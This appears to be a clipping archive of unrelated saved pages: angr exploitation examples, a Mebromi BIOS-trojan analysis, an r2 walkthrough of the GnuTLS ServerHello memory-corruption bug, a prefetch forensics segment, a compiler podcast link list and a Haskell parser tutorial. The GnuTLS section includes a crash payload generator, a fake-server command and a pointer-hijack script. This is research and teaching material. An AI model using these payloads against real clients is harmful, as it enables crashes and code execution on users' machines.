allows z3 to come up with an answer relatively quickly. \(I was asleep while
it was solving, so I don't know exactly how long\!\) The script for this is
here and the binary is here.

### CrackMe example: ais3\_crackme

Author: Antonio Bianchi, Tyler Nighswander

ais3\_crackme has been developed by Tyler Nighswander \(tylerni7\) for ais3
summer school. It is an easy crackme challenge, checking its command line
argument.

### ReverseMe: Modern Binary Exploitation - CSCI 4968

Author: David Manouchehri \(GitHub @Manouchehri\)

This folder contains scripts used to solve some of the challenges with angr.
At the moment it only contains the examples from the IOLI crackme suite, but
eventually other solutions will be added.

## Exploitation Examples

### Beginner Exploitation example: strcpy\_find

Author: Kyle Ossinger \(github: @k0ss\)

This is the first in a series of "tutorial scripts" I'll be making which use
angr to find exploitable conditions in binaries. The first example is a very
simple program. The script finds a path from the main entry point to ` strcpy
`, but **only** when we control the source buffer of the ` strcpy ` operation.
To hit the right path, angr has to solve for a password argument, but angr
solved this in less than 2 seconds on my machine using the standard python
interpreter. The script might look large, but that's only because I've heavily
commented it to be more helpful to beginners. The challenge binary is here and
the script is here.

### Beginner Exploitation example: CADET\_0001

Author: Antonio Bianchi, Jacopo Corbetta

This is a very easy binary containing a stack buffer overflow and an easter
egg. CADET\_00001 is one of the challenge released by DARPA for the Cyber
Grand Challenge: link The binary can run in the DECREE VM: link
CADET\_00001.adapted \(by Jacopo Corbetta\) is the same program, modified to
be runnable in an Intel x86 Linux machine.

### Grub "back to 28" bug

Author: Andrew Dutcher \(github: @rhelmot\)

This is the demonstration presented at 32c3. The script uses angr to discover
the input to crash grub's password entry prompt.

script \- vulnerable module

### Insomnihack Simple AEG

Author: Nick Stephens \(github: @NickStephens\)

Demonstration for Insomni'hack 2016. The script is a very simple
implementation of AEG.

script

  

# Mebromi, a bios-flashing trojan | Norman Blogs
**Created:**| _9/8/2011 3:44:07 PM_  
---|---  
**Updated:**| _9/8/2011 3:44:07 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis bios_  
  

# Mebromi, a bios-flashing trojan

September 8, 2011 by Snorre Fagerland \- No Comments

Some days ago, the Chinese security outfit 360 Security Guard published a nice
blog post about a trojan able to install code in flash BIOS.

We spent a while looking around for the sample until a colleague managed to
track it down \(embarassingly, it was in our databases all along\).

The posting from 360 covers well the general aspects of the malware, so I’ll
be looking into some details – specifically, the installation in BIOS.

BIOS \(Basic Input/Output System\) is the code that runs at the very beginning
of the startup of the machine. When BIOS runs, the machine knows only the very
basics – like what hardware is attached. It has still no idea about what
operating system\(s\) are installed.

BIOS is located in firmware, which means that though it is programmable it
survives reboots. This is an ideal place for malware to exist. They want to be
persistent and get control as early as possible, before any pesky OS security
measures or antivirus programs can interfere.

So how come the world is not riddled with BIOS infectors? The answer to this
is probably that it’s not trivial to do. First of all, BIOS is low-level
technology which is heavily dependent on manufacturer. Programming one BIOS
requires a different approach from programming another. Second, you can’t
reprogram BIOS chips without being in kernel mode, which means that you have
to have administrator privileges. And thirdly, the interfaces for BIOS
reprogramming are poorly documented, and if you do something wrong, you risk
turning the computer into an expensive paperweight.

However, all has not been entirely quiet.

We had the Win9x virus CIH in 1998, which had BIOS flashing as part of its
destructive payload. CIH did not even try to program anything; it just wrote
garbage to BIOS which caused machines to hang when attempting a reboot. Later,
there has been research in the area of BIOS injections by a number of
researchers, but this has been more or less proof-of-concept code.

Mebromi is a real malware. The dropper file installs the following files:

bios.sys, which is the driver that handles BIOS flash IO.  
flash.dll, handles loading and unloading of the bios.sys service  
my.sys, a rootkit driver  
hook.rom, an uncompressed BIOS ISA module file containing the malicious code  
cbrom.exe, a legitimate BIOS combination utility

Below is a call graph illustrating the bios.sys driver IO control code
handlers. Bytheway, don’t take the call listings literally – they are listed
as they appear in the binary, but the logic between them is not.

<img src='img/Temp2_5272.png' width='970' height='1035' />

Mebromi attempts infection only on Award BIOS’es, and its method of injection
is very similar to one of the approaches used by a POC by IceLord in 2007,
using what he calls SMI flashing.

When the bios.sys driver receives the correct IOCTL code from the dropper
executable, the retrieve\_bios\_info\(\) function scans BIOS memory, looking
for the FLASH\_ROUTINE\_HEAD struct inside the Award BIOS info struct. This
contains information about which port can be used to access the SMI Flash
functionality.

Then the createbiosbackup\(\) routine is invoked to create a bios image file
c:\bios.bin. The dropper executable afterwards uses this as input to another
helper file – the legitimate BIOS tool called CBROM, which the dropper carries
inside itself as a resource. The dropper issues this command : _cbrom
c:\bios.bin /isa hook.rom_ which inserts hook.rom into the BIOS image bios.bin
as an ISA ROM extension. ISA extensions are BIOS modules that are executed in
sequence by the BIOS in connection to the BIOS’s Power On Self Test, before
giving control to the boot loader. However, the BIOS is not flashed yet, this
is done in the nest step.

If everything goes “well” the trojan writes this prepared file image to the
already determined SMI port, using the commands 0×29 \(erase\) and 0x2F
\(write\).

<img src='img/Temp2_5271.png' width='734' height='800' />

<img src='img/Temp2_5273.png' width='736' height='859' />

If this works, the trojan BIOS code runs in connection with the bootup
process. It has not overwritten anything, but works as an additional POST
check. Mebromi uses this code to verify that everything is ok with it’s own
primary infection in the MBR . If not, it refreshes this by writing 0x0E
\(14\) sectors to the hard drive sector 0-> again.

References:  
Sacco & Ortega : Persistent BIOS Infection  
Heasman: Implementing and Detecting an ACPI BIOS Rootkit  
Sun Bing: BIOS Boot Hijacking And VMWare Vulnerabilities Digging  
IceLord: BIOS Rootkit: Welcome home, my Lord\!  
Auzas: Design considerations for the embedded PC

# Technical Analysis Of The GnuTLS Hello Vulnerability

**Created:**| _6/3/2014 2:37:13 PM_  
---|---  
**Updated:**| _6/3/2014 2:37:13 PM_  
**Author:**| __  
**Tags:**| _vulnerability ssl_  
  

# Technical Analysis Of The GnuTLS Hello Vulnerability

2014-06-01

This past friday I checked out the gnutls repository and noticed a commit done
two weeks ago:

[code]

    2014-05-23 19:50 Nikos Mavrogiannopoulos <nmav@gnutls.org>
    
    Prevent memory corruption due to server hello parsing.
    
[/code]

The patch adds a second check to verify the boundary of the session id size.

[code]

    - if (len < session_id_len) {
    + if (len < session_id_len || session_id_len > TLS_MAX_SESSION_ID_SIZE) {
    
[/code]

The **memory corruption** keywords triggered my attention, and just 6 days
later there's another funny commit:

[code]

    2014-05-29 19:11 Nikos Mavrogiannopoulos <nmav@gnutls.org>
    
    Added test for memory corruption issue in server hello.
    
[/code]

This test case is in fact a PoC that implements a test program that makes the
library crash exploiting this vulnerability. Right after that commit a new
version of GnuTLS was bumped and released to the public. The GnuTLS website
provides a link to the CVE 2014-3466. Which has been assigned, but not yet
filled.

The test program is quite explicit in the way to exploit that bug, it only
requires to build up a single buffer that is sent by the server and will make
clients crash when connecting.

_UPDATE_ : Looks like the commits were done two weeks ago but not published
into the repository until the release was done. Read this comment for more
information.

## Quick overview

In order to test that vulnerability I choose to run a 32bit VoidLinux
Virtualbox VM, fetched the r2 source from git, and executed the GnuTLS
binaries against the system libs. This way, switching between the fixed and
vulnerable executions can be done by changing the `LD_LIBRARY_PATH`
environment.

It's recommended to use r2 from git: read this post to install r2 in your
system.

A quick check on all the packages that depend on GnuTLS shows some hints of
which client software is vulnerable to this issue.

[code]

    $ echo `xbps-query -RX gnutls | cut -d - -f1`
    cups empathy glib filezilla gtk2 cups libvlc libvirt qemu rsyslog bitlbee telepathy xbmc weechat vino xen xombrero ...
    
[/code]

First we need to reproduce this issue in a way that we can debug it, the
simplest way to do this is by patching the test program. Negating the fork
condition will make the crash appear in the parent process instead of the
children.

[code]

    - if (child) {
    + if (!child) {
    
[/code]

Then we will have to comment the `kill(child,SIGTERM)` line to avoid a
parricide.

Now, we are ready to run the `long-session-id` test under valgrind to get a
quick view of the issue:

[code]

    $ ./long-session-id
    Segmentation fault (core dumped)
    
    $ valgrind ./long-session-id
    ==476== Memcheck, a memory error detector
    ==476== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
    ==476== Using Valgrind-3.9.0 and LibVEX; rerun with -h for copyright info
    ==476== Command: ./a.out
    ==476== 
    ==476== Invalid free() / delete / delete[] / realloc()
    ==476==    at 0x40292AC: free (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
    ==476==    by 0x407B2FE: _gnutls_buffer_clear (in /usr/lib/libgnutls.so.28.36.2)
    ==476==    by 0x405E5A9: ??? (in /usr/lib/libgnutls.so.28.36.2)
    ==476==    by 0x4062EE1: gnutls_handshake (in /usr/lib/libgnutls.so.28.36.2)
    ==476==    by 0x8048E1A: client (in tests/a.out)
    ==476==    by 0x80491A2: start (in tests/a.out)
    ==476==    by 0x80492B7: main (in tests/a.out)
    ==476==  Address 0xFFFFFFFF is not stack'd, malloc'd or (recently) free'd
    ==476== 
    client: Handshake failed (expected)
    GnuTLS error: A TLS packet with unexpected length was received.
    
[/code]

Looks like GNUTLS calls `free` with an user controlled pointer. Sadly, this
doesn't seems to be easily exploitable under latest glibc, but we will do a
deeper analysis in order to understand the reasons and in the process learn
some functionalities of r2. In this run, valgrind captures the invalid free
and skips the crash, at first sight it looks like a heap overflow that
triggers an invalid call to free.

## Crash course

In the test case there is a memset of 255 bytes with the 0xff value. This is
the buffer that overflows and we want to know at which offset of the payload
the code is picking the pointer to `free()`. We can do this using a sequence
instead of just a plain padding.

  * Sequence: 0102030405060708...
  * Padding: 4141414141414141...

So, instead of writing `0xff` into the buffer we will write a sequence of
bytes and we will read the value of `ecx` to determine the offset we have to
use.

The `ragg2` tool fits perfectly with this task, it's a tool that allows to
create shellcodes with payloads, nopsleds, sequences, paddings and more. We
may recreate the buffer with this:

[code]

    $ cat payload.sh
    #!/bin/sh
    
    TYPE=A # Fill with 'A'
    TYPE=S # Create sequence
    
    ragg2 \
    -B 16 \
    -B "03 00 01 25" \
    -B "02 00 01 21" \
    -B "03 00" \
    -B 0000000001 -B 0000000001 -B 0000000001 \
    -B 0000000001 -B 0000000001 -B 0000000001 \
    -B 0000 \
    -B fe \
    -p ${TYPE}256 | rax2 -s -
    
[/code]

The `fe` is the longest valid length to trigger the crash \(`ff` is checked\),
Yes, session _id_ length is defined by an unsigned byte, So that's the maximum
possible value for that case. At the end of the buffer we are appending a
buffer of `A` or a sequence \(uncomment the line\).

Note the last command after the pipe. This is `rax2` converting an hexpair
list into a binary buffer. This way we can use it directly into a socket to
crash the clients that are connecting to us. We can achieve this with
`rarun2`:

[code]

    $ rarun2 program=./payload.sh listen=8080
    
[/code]

Then, in another terminal:

[code]

    $ gnutls-cli -p 8080 localhost
    Processed 168 CA certificate(s).
    Resolving 'localhost'...
    Connecting to 'localhost:8080'...
    Segmentation fault (core dumped)
    
[/code]

In order to get a quick overview of the crash I wrote a small r2 script that
runs inside the debugger session and displays the registers, stack and some
pointer arithmetics to determine the location of the affected pointer.

[code]

    $ cat crashlog.r2
    dc                 # continue execution
    dr=                # show registers
    .dr*               # import regstate
    pd 10 @ eip        # disasm on eip
    x 64 @ esp         # show stack state
    
    $ r2 -i crashlog.r2 -d "gnutls-cli -p 8080 localhost"
    
[/code]

Using that script we can easily see that `ecx` value is `0xa3a2a1a0` when
running with `TYPE=S`, we must modify this dword to control where we want to
go. The lower sequence byte in the value is `0xa0`, this is the offset we
want.

When we need to set a specific dword inside the offset \(for example, in
`0xa0`\), we may use the `-d` flag. Adding `44` to the offset \(header size\)
and specifying the value.

[code]

    $ ragg2 ... -d 0xa0+44:0x8048008 | rax2 -s -
    
[/code]

## Analyzing the crash

As long as r2 is a low level debugger, we will not see much C source
references, and symbolic information may sometimes be not available. But this
is not really a problem for most situations, and bear in mind that you can
import this information using the `i` command or importing external scripts
with `.`.

Once the crash happens, r2 prompts appears and we would like to go back some
instructions to see the assembly code context and register state to understand
why it's crashing and which conditions do we need to exploit it.

Enter into the Visual mode by pressing `V` and then switch between the print
modes with `p` and `P` until you get something like this:

Then use 'j' and 'k' keys to scroll up and down. What we observe here is
there's a `call eax` at the end of the function and this `eax` is constructed
by following `[ebx-0x98]` and taking the value from the referenced pointer in
that address.

We can see that the constructed pointer is relative to the program counter,
this means that it's probably located inside the same library \(libc\), but
let's verify this within the r2 shell:

[code]

    # The hook address is relative to the load address of libc
    > f hook=ebx-0x98
    > dm@hook~*
    sys 0xb7637000 * 0xb7639000 s r-- /usr/lib/libc-2.19.so
    
    # Rabbit is placed in the libc's memory. And it points to the burrow
    > f rabbit=`xw 4 @ hook~[1]`
    > dm@rabbit~*
    sys 0xb763a000 * 0xb763d000 s rw- unk3
    
    # Not mapped, final pointer goes to NULL
    > f burrow=`xw 4 @ rabbit~[1]`
    > dm@burrow~*
    > ?v burrow
    0
    
[/code]

This is.. if we found a write-what-where somewhere we can just overwrite this
rabbit pointer with another to hold the address we want to jump.

## Trojanizing the handler

As long as that pointer comes from the libc, we can trick the memory of the
running process to make it spawn a shell or run the code we like by patching
the pointer hold inside the `ebx-0x98` cave. For this demo we will modify the
libc's heap. this is a read-write memory portion, so, if we find a write-what-
where in the code this may be exploited by providing the proper payload.

[code]

    $ cat memtrojan.r2
    f carrot = `dm~rw- /usr/lib/libc[1]`
    s carrot-0x98
    f rabbit = `xw 1~[1]`
    wx 41414141 @ rabbit
    
[/code]

The script sets the carrot pointer at the first read write section of the libc
and substracts 0x98. This offset is the static pointer that libc uses for
retrieving the pointer to jump. In pseudocode:

[code]

    carrot = findSection('libc','rw').offset
    rabbit = 4[carrot-0x98]
    4[rabbit] = 0x41414141
    
[/code]

In one terminal run the following command to start the fake gnutls server:

[code]

    $ rarun2 program=./payload.sh listen=8080 sleep=10
    
[/code]

In the second terminal we do:

[code]

    $ r2 -d "gnutls-cli -p 8080 localhost"
    
[/code]

Inside the r2 prompt type `dc` to continue the execution of the program. It
will connect, but will not crash inmediately, we have a gap of 10 seconds to
press ^C and inspect the process.

At this point we may like to run `dm` to see the memory maps of the program,
`dr` to view the registers or run `pd` to disassemble code.

[code]

    > . memtrojan.r2
    > dc
    
[/code]

The program will crash at `eip=0x41414141`.

## Other paths

As long as we control some registers, we can let the program flow to different
paths or just bypass the conditionals to reach the desired path. For example,
our first crash happens here:

[code]

    mov ecx, [ecx-4]
    test cl, 2
    jne 0xb755638
    
[/code]

As long as we control `ecx` modifying the `0xa0` byte of the payload. We can
set a valid pointer to this address. This is for example `0x8048004`. Let's
run again and see where it's crashing.

Sometimes setting some pointers to NULL allows to bypass some checks, and
other values just fall into a tgkill\(\) syscall that aborts the execution of
the program.

Analyzing the crash when the dword at `0xa0` we observe a second crash in the
following code:

[code]

    mov eax, [eax+4]
    test eax, eax
    jne 0xb76d152a
    
[/code]

As long as we also control `eax` at this point. \(the sequence trick tell us
the offset is `0x4c`\) we just need to place a valid readable pointer to go
further. We will set it to `0x8048000` because the program is not compiled
with PIE, and the rest of mapped binaries in memory are PIC libraries which
are affected by the ASLR.

For quick testing, r2 provides a way to change the value of the registers:

[code]

    > dr eax=0x8048000
    
[/code]

Running `dc` to continue the execution produces a different crash:

[code]

    movzx edx, byte [eax+8]
    
[/code]

`eax` is also controled by our buffer, so we can just use another valid read
pointer to pass the check and reach the a crash in:

Few instructions before the crash we can observe a `call eax`. The conditions
to reach the `call eax` are multiple, and this may take too much to fit in
this post.

We can use `dr eip=...` to change the program counter or modify other
registers and then type `ds` to simulate the execution. This is very useful
when you want to make a demo of the steps you have to do to pass all the
checks.

In Visual mode, the `ds` \(debugger step\) is done with the `s` key. Step-over
with `S`. And type `:` to enter commands to interact with r2.

## Locating the buffer

Another useful operation we would like to perform when analyzing a crash is to
locate the place where our buffer is found. We can search for the 'AAAAAAAA'
padding by using the following commands:

We seek to the very first writable section and start the search. By default it
will look in the whole memory space, but it is possible to restrict the search
to some boundaries or conditions. In this case we will disable the contiguous
hits. This is because a padding will spawn too many uninteresting results.

We can identify the corresponding debugger maps where those pointers come
from:

Let's investigate why are some of those hits pretty close to each other... The
pxa command will show an anotated hexdump highlighting flags and showing
comments. We will display one of the hits \(offsets differ, this is from a
different run\) and see that some dwords of our input have been overwritten.

To add a comment use the `c` key in visual mode to switch to cursor mode and
move with `hjkl` then press `;` to enter the comment.

## Final notes

This post exposes some of the capatibilities for exploiting with r2 in a real
vulnerability. The central topic moved from GnuTLS to libc heap and in the
process explaining some of the basics of exploiting. The whole topic can be
covered in several posts and it was out of the scope to provide a working
exploit, but give some hints to understand how and why it breaks, and which
are the implications.

Now, stop reading and upgrade your GnuTLS\!

\--pancake

## External links

# Episode171 - PaulDotCom Security Weekly

**Created:**| _10/28/2009 12:58:14 PM_  
---|---  
**Updated:**| _10/28/2009 12:58:21 PM_  
**Author:**| __  
**Tags:**| _windows security Forensics_  
  

# Tech Segment: John Strand shows us how Windows Prefetching hits the "Easy"
button

When talking with Rob Lee at SANS Boston last month he said there is not
enough discussion of how Windows prefetch works and why an incident responder
would care. Turns out there is quite a bit of goodness to be gleaned from
prefetch when it comes to finding malware and what programs have been run.

Also, it is very helpful for a penetration tester. Ever want to know what role
a machine serves? Ever want to know what process are started regularly? Well
prefetch can help you with that too.

Finally, some malware \(i.e. rootkits\) hide any file with the name of the
rootkit in it from the user. There are ways to still identify some of the
rootlkits by looking at some of the configuration files in the prefetch
directory.

Take a look at the following video for a demonstration.

Be sure to check out the following links for more details\!

  1. Windows File Analyzer \- Nice tool for looking at the prefetch files on a system. Automatically parses some of the more useful information.
  2. The Forensics Wiki's writeup of prefetch
  3. prefetch Doh\! A fair warning about jumping to conclusions about what certain programs in the prefetch directory actually mean.
  4. Prefetch\_info another nice tool that will show all of the dlls associated with a prefetch entry.

# CRE122 Compilerbau und Typtheorie - Chaosradio Podcast Network

**Created:**| _5/13/2009 2:45:49 PM_  
---|---  
**Updated:**| _5/13/2009 2:46:10 PM_  
**Author:**| __  
**Tags:**| _compiler-building chaosradio_  
  

# Compilerbau und Typtheorie

Vom Übersetzen und Optimieren von Programmcode

  
Veröffentlicht am: 13.05.2009, 02:00 Uhr  
Aufnahme vom: 29.04.2009  

Teilnehmer: Tim Pritlove \(Moderation\), Hannes Mehnert

<img src='img/Temp2_1292.png' />Direkter Download der Mediendatei  
  
Dateigröße: 86.5 MB  
Format: MPEG-1 Audio Layer III Audio  
Dauer: 02:05:48h  
  
  
---  
Compilerbau ist eine komplexe Materie aber auch keine Magie. Andererseits ist
es ein Feld, in dem in letzter Zeit wieder eine Menge Bewegung gekommen ist,
teilweise ausgelöst durch neue Erkenntnisse, teilweise durch den hohen Bedarf
an schnellen, dynamischen Programmiersprachen im Web. Hannes Mehnert
erarbeitet gerade seine Diplomarbeit in diesem Themenfeld mit einem
Schwerpunkt auf Optimierung und Typtheorie und erläutert im Gespräch mit Tim
Pritlove die Hintergründe dieser Ansätze und gibt einen Überblick über
weitgehend unbekanntes Terrain.

Links:

  * WP: Maxwellsche Gleichungen
  * WP: Dylan
  * CRE031 Programmiersprachen und Dylan
  * WP: Visitor Pattern
  * WP: Boilerplate Code
  * ICFP Contest
  * Dylan Hackers @ CIFP 2005
  * The 10th ACM SIGPLAN International Conference on Functional Programming \(ICFP 2005\)
  * WP: Typentheorie
  * CRE114 LLVM
  * WP: Schleife \(loop\)
  * The anatomy of a loop \[PDF\]
  * WP: Compiler
  * WP: Parser
  * Lexikalischer Scanner \(Lexer\)
  * Java Bytecode
  * Generalized Algebraic Datatypes
  * icfp: 2d language
  * WP: ASCII-Art
  * WP: Abstrakter Syntaxbaum \(abstract syntax tree, AST\)
  * WP: Operatorrangfolge \(Präzedenz\)
  * WP: Regulärer Ausdruck \(Regular Expression\)
  * WP: Reguläre Sprache
  * WP: Noam Chomsky
  * WP: Chomsky-Hierarchie
  * WP: Zwischencode
  * WP: Kalkül
  * WP: Lambda-Kalkül
  * An imperative object calculus \[PS\]
  * WP: Java Virtual Machine
  * WP: Common Language Runtime
  * WP: Bedingte Anweisung und Verzweigung
  * WP: Haskell
  * WP: Side effect
  * WP: Monaden
  * WP: State
  * CRE063 Die Programmiersprache C++
  * WP: ML
  * WP: Scheme
  * Typed Scheme
  * The design and implementation of typed Scheme \[PDF\]
  * WP: Airbag
  * WP: Ada
  * WP: JavaScript
  * Gradual typing for functional languages \[PDF\]
  * Gradual typing for objects \[PDF\]
  * WP: Polymorphie
  * WP: Template
  * WP: Typisierung
  * WP: Starke Typisierung \(Strongly Typed\)
  * WP: Typumwandlung \(Cast\)
  * WP: Typinferenz
  * WP: Scheme
  * WP: Kontravalenz \(XOR\)
  * WP: Generic Function
  * The expression problem
  * WP: Ruby
  * Static type inference for Ruby
  * OOPSLA
  * WP: PyPy
  * Gradual typing for Python \[PDF\]
  * Just-in-time-Kompilierung
  * CRE088 Python und PyPy
  * ECMAScript
  * Evolutionary Programming and Gradual Typing in ECMAScript 4 \[PDF\]
  * CRE114 LLVM
  * WP: Low Level Virtual Machine \(LLVM\)
  * MacRuby
  * Oliver Steele: Test versus Type
  * Subtyping, Subclassing, and Trouble with OOP
  * Why dependent types matter \[PDF\]
  * WP: Kontrollflussgraph \(control flow graph\)
  * Hannes Mehnert: DFMC flow graph visualization
  * WP: Race Condition
  * Type-based race detection for Java \[PS\]
  * Ken Thompson 1984: Reflections on Trusting Trust
  * David A. Wheeler’s Page on Countering Trusting Trust through Diverse Double-Compiling \(Trojan Horse attacks on Compilers\)
  * WP: LISP
  * WP: Scala
  * WP: Niklaus Wirth
  * WP: Pascal
  * WP: Prolog
  * WP: Clojure
  * Lambda the Ultimate
  * ACM SIGPLAN 2009 Conference on Programming Language Design and Implementation \(PLDI\)
  * Programming Language for Old Timers
  * Genuine, Full-power, Hygienic Macro System for a Language with Syntax \[PDF\]
  * And integrated proof language for imperative programs

# Write Yourself a Scheme in 48 Hours/Parsing - Wikibooks, open books for an
open world

**Created:**| _1/31/2012 7:40:33 PM_  
---|---  
**Updated:**| _1/31/2012 7:41:03 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research projects awesome SMT_  
  

# Write Yourself a Scheme in 48 Hours/Parsing

< Write Yourself a Scheme in 48 Hours

## Contents

\[hide\]

  * 1 Writing a Simple Parser
  * 2 Whitespace
  * 3 Return Values
  * 4 Recursive Parsers: Adding lists, dotted lists, and quoted datums

  
---  
## \[edit\] Writing a Simple Parser

Now, let's try writing a very simple parser. We'll be using the Parsec library
\(Install parsec if you haven't already installed it, either by itself or
through the Haskell Platform. Consult your distribution's repository to find
the correct package or port or build\).

Start by adding this line to the import section:

[code]

     import Text.ParserCombinators.Parsec hiding (spaces)
    
[/code]

This makes the Parsec library functions available to us, except the `spaces`
function, whose name conflicts with a function that we'll be defining later.

Now, we'll define a parser that recognizes one of the symbols allowed in
Scheme identifiers:

[code]

     symbol :: Parser Char
     symbol = oneOf "!#$%&|*+-/:<=>?@^_~"
    
[/code]

This is another example of a monad: in this case, the "extra information" that
is being hidden is all the info about position in the input stream,
backtracking record, first and follow sets, etc. Parsec takes care of all of
that for us. We need only use the Parsec library function oneOf, and it'll
recognize a single one of any of the characters in the string passed to it.
Parsec provides a number of pre-built parsers: for example, letter and digit
are library functions. And as you're about to see, you can compose primitive
parsers into more sophisticated productions.

Let's define a function to call our parser and handle any possible errors:

[code]

     readExpr :: String -> String
     readExpr input = case parse symbol "lisp" input of
         Left err -> "No match: " ++ show err
         Right val -> "Found value"
    
[/code]

As you can see from the type signature, `readExpr` is a function \(->\) from a
String to a String. We name the parameter `input`, and pass it, along with the
`symbol` action we defined above and the name of the parser \("lisp"\), to the
Parsec function parse.

`parse` can return either the parsed value or an error, so we need to handle
the error case. Following typical Haskell convention, Parsec returns an Either
data type, using the `Left` constructor to indicate an error and the `Right`
one for a normal value.

We use a `case...of` construction to match the result of `parse` against these
alternatives. If we get a Left value \(error\), then we bind the error itself
to `err` and return "No match" with the string representation of the error. If
we get a Right value, we bind it to `val`, ignore it, and return the string
"Found value".

The `case...of` construction is an example of pattern matching, which we will
see in much greater detail later on.

Finally, we need to change our main function to call `readExpr` and print out
the result \(need to add `import System` in the beginning of the file now\):

[code]

     main :: IO ()
     main = do args <- getArgs
               putStrLn (readExpr (args !! 0))
    
[/code]

To compile and run this, you need to specify `-package parsec` on the command
line, or else there will be link errors. For example:

[code]

    debian:/home/jdtang/haskell_tutorial/code# ghc -package parsec -o simple_parser [../code/listing3.1.hs listing3.1.hs]
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser $
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser a
    No match: "lisp" (line 1, column 1):
    unexpected "a"
    
[/code]

## \[edit\] Whitespace

Next, we'll add a series of improvements to our parser that'll let it
recognize progressively more complicated expressions. The current parser
chokes if there's whitespace preceding our symbol:

[code]

    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "   %"
    No match: "lisp" (line 1, column 1):
    unexpected " "
    
[/code]

Let's fix that, so that we ignore whitespace.

First, lets define a parser that recognizes any number of whitespace
characters. Incidentally, this is why we included the `hiding (spaces)` clause
when we imported Parsec: there's already a function "spaces" in that library,
but it doesn't quite do what we want it to. \(For that matter, there's also a
parser called lexeme that does exactly what we want, but we'll ignore that for
pedagogical purposes.\)

[code]

     spaces :: Parser ()
     spaces = skipMany1 space
    
[/code]

Just as functions can be passed to functions, so can actions. Here we pass the
Parser action space to the Parser action skipMany1, to get a Parser that will
recognize one or more spaces.

Now, let's edit our parse function so that it uses this new parser. Changes
are in red:

[code]

     readExpr input = case parse (spaces >> symbol) "lisp" input of
         Left err -> "No match: " ++ show err
         Right val -> "Found value"
    
[/code]

We touched briefly on the >> \("bind"\) operator in lesson 2, where we
mentioned that it was used behind the scenes to combine the lines of a do-
block. Here, we use it explicitly to combine our whitespace and symbol
parsers. However, bind has completely different semantics in the Parser and IO
monads. In the Parser monad, bind means "Attempt to match the first parser,
then attempt to match the second with the remaining input, and fail if either
fails." In general, bind will have wildly different effects in different
monads; it's intended as a general way to structure computations, and so needs
to be general enough to accommodate all the different types of computations.
Read the documentation for the monad to figure out precisely what it does.

Compile and run this code. Note that since we defined `spaces` in terms of
`skipMany1`, it will no longer recognize a plain old single character. Instead
you _have to_ precede a symbol with some whitespace. We'll see how this is
useful shortly:

[code]

    debian:/home/jdtang/haskell_tutorial/code# ghc -package parsec -o simple_parser [../code/listing3.2.hs listing3.2.hs]
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "   %"
    Found value
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser %
    No match: "lisp" (line 1, column 1):
    unexpected "%"
    expecting space
    debian:/home/jdtang/haskell_tutorial/code# ./simple_parser "   abc"
    No match: "lisp" (line 1, column 4):
    unexpected "a"
    expecting space
    
[/code]

## \[edit\] Return Values

Right now, the parser doesn't _do_ much of anything - it just tells us whether
a given string can be recognized or not. Generally, we want something more out
of our parsers: we want them to convert the input into a data structure that
we can traverse easily. In this section, we learn how to define a data type,
and how to modify our parser so that it returns this data type.

First, we need to define a data type that can hold any Lisp value:

[code]

     data LispVal = Atom String
                  | List [LispVal]
                  | DottedList [LispVal] LispVal
                  | Number Integer
                  | String String
                  | Bool Bool
    
[/code]

This is an example of an _algebraic data type_ : it defines a set of possible
values that a variable of type LispVal can hold. Each alternative \(called a
_constructor_ and separated by `|`\) contains a tag for the constructor along
with the type of data that that constructor can hold. In this example, a
`LispVal` can be:

  1. An `Atom`, which stores a String naming the atom
  2. A `List`, which stores a list of other LispVals \(Haskell lists are denoted by brackets\); also called a _proper_ list
  3. A `DottedList`, representing the Scheme form `(a b . c)`; also called an _improper_ list. This stores a list of all elements but the last, and then stores the last element as another field
  4. A `Number`, containing a Haskell Integer
  5. A `String`, containing a Haskell String
  6. A `Bool`, containing a Haskell boolean value

Constructors and types have different namespaces, so you can have both a
constructor named String and a type named String. Both types and constructor
tags always begin with capital letters.

Next, let's add a few more parsing functions to create values of these types.
A string is a double quote mark, followed by any number of non-quote
characters, followed by a closing quote mark:

[code]

     parseString :: Parser LispVal
     parseString = do char '"'
                      x <- many (noneOf "\"")
                      char '"'
                      return $ String x
    
[/code]

We're back to using the do-notation instead of the >> operator. This is
because we'll be retrieving the value of our parse \(returned by many \(noneOf
"\""\)\) and manipulating it, interleaving some other parse operations in the
meantime. In general, use >> if the actions don't return a value, >>= if
you'll be immediately passing that value into the next action, and do-notation
otherwise.

Once we've finished the parse and have the Haskell String returned from
`many`, we apply the String constructor \(from our LispVal data type\) to turn
it into a LispVal. Every constructor in an algebraic data type also acts like
a function that turns its arguments into a value of its type. It also serves
as a pattern that can be used in the left-hand side of a pattern-matching
expression; we saw an example of this in Lesson 3.1 when we matched our parser
result against the two constructors in the `Either` data type.

We then apply the built-in function return to lift our LispVal into the Parser
monad. Remember, each line of a do-block must have the same type, but the
result of our String constructor is just a plain old LispVal. Return lets us
wrap that up in a Parser action that consumes no input but returns it as the
inner value. Thus, the whole parseString action will have type Parser LispVal.

The `$` operator is infix function application: it's the same as if we'd
written `return (String x)`, but `$` is right-associative, letting us
eliminate some parentheses. Since `$` is an operator, you can do anything with
it that you'd normally do to a function: pass it around, partially apply it,
etc. In this respect, it functions like the Lisp function apply.

Now let's move on to Scheme variables. An atom is a letter or symbol, followed
by any number of letters, digits, or symbols:

[code]

     parseAtom :: Parser LispVal
     parseAtom = do first <- letter <|> symbol
                    rest <- many (letter <|> digit <|> symbol)
                    let atom = first:rest
                    return $ case atom of 
                               "#t" -> Bool True
                               "#f" -> Bool False
                               _    -> Atom atom
    
[/code]

Here, we introduce another Parsec combinator, the choice operator <|>. This
tries the first parser, then if it fails, tries the second. If either
succeeds, then it returns the value returned by that parser. The first parser
must fail before it consumes any input: we'll see later how to implement
backtracking.

Once we've read the first character and the rest of the atom, we need to put
them together. The "let" statement defines a new variable `atom`. We use the
list cons operator `:` for this. Instead of `:`, we could have used the
concatenation operator `++` like this `[first]++rest`; recall that `first` is
just a single character, so we convert it into a singleton list by putting
brackets around it.

Then we use a case expression to determine which `LispVal` to create and
return, matching against the literal strings for true and false. The
underscore `_` alternative is a readability trick: case blocks continue until
